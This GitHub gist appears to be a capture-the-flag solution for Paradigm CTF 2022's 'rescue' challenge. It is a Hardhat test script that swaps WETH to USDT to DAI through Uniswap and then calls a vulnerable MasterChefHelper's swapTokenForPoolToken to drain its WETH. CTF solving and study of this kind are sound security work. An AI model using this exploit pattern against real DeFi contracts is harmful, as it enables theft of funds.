Created
August 23, 2022 08:34
-
-
Save 0xsha/6cca0ae038c7340471eb69a8ac48fd33 to your computer and use it in GitHub Desktop.
Paradigm CTF 2022 - rescue
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// paradigm CTF 2022 - rescue | |
// @0xSha | |
import { loadFixture, time } from "@nomicfoundation/hardhat-network-helpers"; | |
import { expect } from "chai"; | |
import { ethers } from "hardhat"; | |
describe("Deploy with 10 ETH", function () { | |
async function deploySetup() { | |
// Contracts are deployed using the first signer/account by default | |
const [owner, otherAccount] = await ethers.getSigners(); | |
const Setup = await ethers.getContractFactory("Setup"); | |
const setup = await Setup.deploy({ | |
value: ethers.utils.parseEther("10.0"), | |
}); | |
return { setup, time, owner, otherAccount }; | |
} | |
describe("Solve", function () { | |
it("It should solve the challenge ", async function () { | |
//* setup *// | |
const { setup, owner } = await loadFixture(deploySetup); | |
const ownerAddress = await owner.getAddress(); | |
// time | |
const t = (await time.latest()) + 100; | |
// usdt | |
const usdtAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; | |
const usdt = await ethers.getContractAt("ERC20Like", usdtAddress); | |
// dai | |
const daiAddress = "0x6b175474e89094c44da98b954eedeac495271d0f"; | |
const dai = await ethers.getContractAt("ERC20Like", daiAddress); | |
// weth | |
const wethAddress = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; | |
const weth = ethers.getContractAt("WETH9", wethAddress); | |
// helper | |
const helperAddress = await setup.mcHelper(); | |
const helper = ethers.getContractAt("MasterChefHelper", helperAddress); | |
// router | |
const routerAddress = await (await helper).router(); | |
const uniRounter = ethers.getContractAt( | |
"UniswapV2RouterLike", | |
routerAddress | |
); | |
// const masterchef = await (await helper).masterchef(); | |
// const pool = ethers.getContractAt("MasterChefLike", masterchef); | |
// we can brute force mastercheck LP | |
// for (let i = 0; i <= 355; i++) { | |
// const tx = await masterCheckContract.callStatic.poolInfo(i); | |
// // const res = await tx.wait(); | |
// console.log(tx.lpToken); | |
// } | |
// Step I | |
// give me some weth and approve router to use it | |
const getWeth = await ( | |
await weth | |
).deposit({ | |
value: ethers.utils.parseEther("30.0"), | |
}); | |
await getWeth.wait(); | |
// Step II | |
// approve router to use our WETH | |
await ( | |
await weth | |
).approve(routerAddress, ethers.utils.parseEther("30.0")); | |
const wethBalance = await (await weth).balanceOf(ownerAddress); | |
// Step III | |
// swap weth for USDT | |
const wethTousdt = await ( | |
await uniRounter | |
).swapExactTokensForTokens( | |
wethBalance, | |
0, | |
[wethAddress, usdtAddress], | |
ownerAddress, | |
t | |
); | |
await wethTousdt.wait(); | |
const usdtBalance = await usdt.balanceOf(ownerAddress); | |
console.log("USDT Balance : ", ethers.utils.formatUnits(usdtBalance, 6)); | |
// Step IV | |
// Approve router to use our USDT | |
await usdt.approve(routerAddress, usdtBalance); | |
// Step V swap USDT for DAI | |
const usdtTodai = await ( | |
await uniRounter | |
).swapExactTokensForTokens( | |
usdtBalance, | |
0, | |
[usdtAddress, daiAddress], | |
ownerAddress, | |
t | |
); | |
await usdtTodai.wait(); | |
const daiBalance = await dai.balanceOf(ownerAddress); | |
console.log("DAI Balance : ", ethers.utils.formatUnits(daiBalance, 18)); | |
// Step V approve helper contract to use our DAI | |
await dai.approve(helperAddress, daiBalance); | |
// Step VI call swapTokenForPoolToken using DAI | |
const helperWethBalance = await (await weth).balanceOf(helperAddress); | |
console.log( | |
"Hepler weth balance:", | |
ethers.utils.formatUnits(helperWethBalance, 18) | |
); | |
const solveIt = await ( | |
await helper | |
).swapTokenForPoolToken(0, daiAddress, daiBalance, 0); | |
await solveIt.wait(); | |
const helperWethBalanceRescued = await ( | |
await weth | |
).balanceOf(helperAddress); | |
console.log( | |
"Rescued weth balance:", | |
ethers.utils.formatUnits(helperWethBalanceRescued, 18) | |
); | |
expect(Number(helperWethBalanceRescued)).to.be.equal(0); | |
}); | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment